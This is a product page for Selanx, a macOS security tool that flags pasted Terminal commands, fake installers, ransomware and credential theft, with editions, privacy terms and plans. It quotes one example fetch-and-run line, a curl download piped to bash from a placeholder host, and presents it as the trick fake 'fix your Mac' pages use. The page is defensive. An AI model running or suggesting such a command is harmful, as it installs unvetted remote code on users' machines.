Security for personal Macs
Selanx catches the tricks Mac password stealers and ransomware rely on, sees every connection your Mac's programs make, and tells you in plain words when something's wrong. You decide what to do, or let it act for you.
SelanxnowThis command downloads a script and runs it straight away. Fake “fix your Mac” pages use exactly this to install password stealers.
curl -fsSL https://update-check.example/install.sh | bash
Why Selanx
Most Mac malware doesn't break in. It talks you into letting it in. Selanx works alongside Apple's protections and covers the steps they don't see.
Gatekeeper checks an app the first time you open it.
A command pasted into Terminal never meets Gatekeeper. Selanx Pro holds it and shows you what it would do first.
XProtect recognises known malware.
Selanx watches what programs do: a program calling home on a steady beat and, with Pro, files renamed en masse or password stores copied. A new variant is caught by what it does.
The firewall decides what may connect in.
Every connection out, with the program that made it. Cut one program off, or isolate the Mac, in seconds.
Privacy prompts ask once, and a convincing fake gets an Allow.
Selanx Pro takes back grants made to unsigned code, and removes profiles that add a root certificate or a proxy.
Nothing tells you when a protection quietly stops.
The shield turns red, and you get an email, when the filter is off, access is removed or a Mac goes silent.
What it stops
Mac malware rarely breaks in. It talks you into letting it in, then quietly makes itself at home. Selanx watches for both, with 145 detection rules written from public research on real Mac attacks.
Pasting into Terminal, iTerm, Warp, Ghostty and others is held while Selanx reads the clipboard. A command that downloads and runs a script, decodes hidden text or strips Apple's quarantine flag is shown to you first. Homebrew's own installer goes straight through.
paste-guard · paste-then-fetchWhen a disk image opens, Selanx reads the words in its pictures, on the Mac. “Right-click and Open”, “paste this into Terminal”: the instructions fake installers use to get past Gatekeeper raise an alert.
dmg-lure-textThirty files renamed to one new extension in a minute, or ransom notes in three folders, and the program is suspended on the Mac at once. If it's a false alarm, one command lets it carry on.
ransomware-mass-encryptA new Full Disk Access, Screen Recording or camera grant to unsigned code is taken back. A profile that adds a root certificate or a proxy is removed, with a copy kept. Apps from known developers are never touched.
tcc-reverted · profile-reverted · proxy-revertedThe network filter sees each new connection and which program made it. A program calling home on a steady beat, a script reaching a file drop or a chatbot API, unsigned code dialing a bare address: each is caught, and any program can be cut off the network in seconds.
net-beacon · net-file-drop-or-bot-apiFake password prompts, keychain dumps, copies of browser and wallet credential stores. At the Guarded size and above, Selanx blocks these steps outright.
credential-store-copyEvery event is sealed with a key that changes after each one, so what's recorded can't be rewritten later, even by an admin. Removing the tamper lock needs a one-time link sent to your email as well as a password.
injection-remote-thread · events-key-unchained60 posture checks, including 28 from the NIST-led macOS Security Compliance Project. Fix the ones you choose with one command, and they stay fixed: a setting switched back is put right within 15 minutes.
setting-revertedIf you turn it on, a critical alert and the events around it go to Claude, Anthropic's AI model, on Amazon Bedrock, for a verdict in plain words. Off by default.
ai-reviewIn your menu bar
Selanx lives in the menu bar and checks itself, so a protection that quietly stopped working doesn't stay quiet.
The filter, the event stream and the lock are running, and the Mac checked in with your account.
Selanx walks you through each step and checks it itself, every few seconds, until it's done.
Full Disk Access removed, the filter switched off, no check-in for hours, or the Mac isolated. You also get an email, because a Mac that goes silent is itself an alert.
Protection sizes, Selanx Pro
One choice sets the allowlist, the stealer blocks and the logging together. After a critical alert, Selanx steps up to Fortress until you say otherwise.
Reports and learns. Nothing is blocked for being new; the tamper lock's targets and known malware are.
Blocks the clearest stealer steps. New software from a notarized developer is allowed in seconds; anything else waits for your Touch ID.
Every stealer block is on, new unsigned launch items are taken out, and only notarized software from known developers runs without your approval.
Two editions, one account
Both come from the same code and report to the same account. Lite is the App Store app: easy, sandboxed, network-focused. Pro protects the whole Mac.
From the Mac App Store. A network filter and the menu-bar shield, sandboxed, with nothing to install beside it. Every rule runs in Selanx Cloud, so detection improves without an app update.
A notarized download from Selanx. Everything in Lite, plus protection on the Mac itself: the paste guard, ransomware stop, allowlisting, the tamper lock, posture checks and undoing what malware changed.
| Feature | Lite | Pro |
|---|---|---|
| Every connection, with the program behind it | Yes | Yes |
| Cut a program off the network, isolate the Mac | Yes | Yes |
| 145 detection rules | In Selanx Cloud | On the Mac and in Selanx Cloud |
| Programs started, settings changed, launch items, privacy grants | No | Yes |
| Paste guard and fake-installer reading | No | Yes |
| Ransomware suspended on the Mac | No | Yes |
| Undo malware's changes (privacy grants, profiles, proxies) | No | Yes |
| Allowlisting (Santa) and the tamper lock | No | Yes |
| 60 posture checks and fixes that stay fixed | No | Yes |
| YARA, VirusTotal and Time Machine checks | No | Yes |
| Protection sizes: Essential, Guarded, Fortress | No | Yes |
| Search and timeline across your Macs | Yes | Yes |
| AI review of serious alerts (if you turn it on) | Up to 20 a day | Up to 100 a day |
| Macs per account | 3 | 5 |
| Where it comes from | Mac App Store | Notarized download |
Privacy
There's one thing Selanx needs to protect you, and three you can say no to. Each is asked separately, and you can change your mind in the web app at any time.
Your Macs' data is encrypted with a key of its own. Delete your account and the key goes first, so the data is unreadable at once.
Your plan's retention, 90 days by default, and then it's gone.
Each Mac's key lives in its Secure Enclave and signs everything it sends, so a stolen token alone can't impersonate the Mac.
Getting started
Sign up with your email. Your 14-day trial starts right away and covers two Macs.
Lite from the App Store, or Pro from its download. Sign in from the app; it walks you through each permission and checks it.
Alerts come by email and in the web app, where you can search every Mac's activity and act on it.
Plans
App Store monthly or yearly
Subscription billed by Selanx
Prices are set when Selanx launches. Your trial needs no payment details, and you choose a plan in the web app when it ends.
Questions
Gatekeeper, XProtect and notarization stop a lot, and Selanx works alongside them (it even reads XProtect's own rules). But most Mac malware today gets you to run it yourself: a pasted command, a “right-click and Open” installer, a password prompt that isn't Apple's. Those are the steps Selanx is built to catch.
Selanx Lite and Selanx Pro need macOS 15 Sequoia or later. One account covers up to two Macs on the trial, three with Lite and five with Pro.
No need. If you install Pro on a Mac that has Lite, Lite steps aside and Pro takes over, under the same account.
Which programs connect where, and with Pro, security events such as programs started and settings changed. Not the pages you visit, what you type or what you download. Home folder names are masked before anything leaves the Mac.
At the Essential size nothing is blocked for being new. At Guarded, software from a notarized developer is allowed in seconds and anything else asks for your Touch ID. A false alarm can always be let through.
No. AI review is off unless you turn it on, and then only serious alerts and the events around them are sent, to Claude on Amazon Bedrock in Selanx's AWS account. Bedrock doesn't keep or train on them.
Your account's key is destroyed first, which makes its data unreadable straight away, and the rest is removed within 30 days.
14 days free on up to two Macs. No card.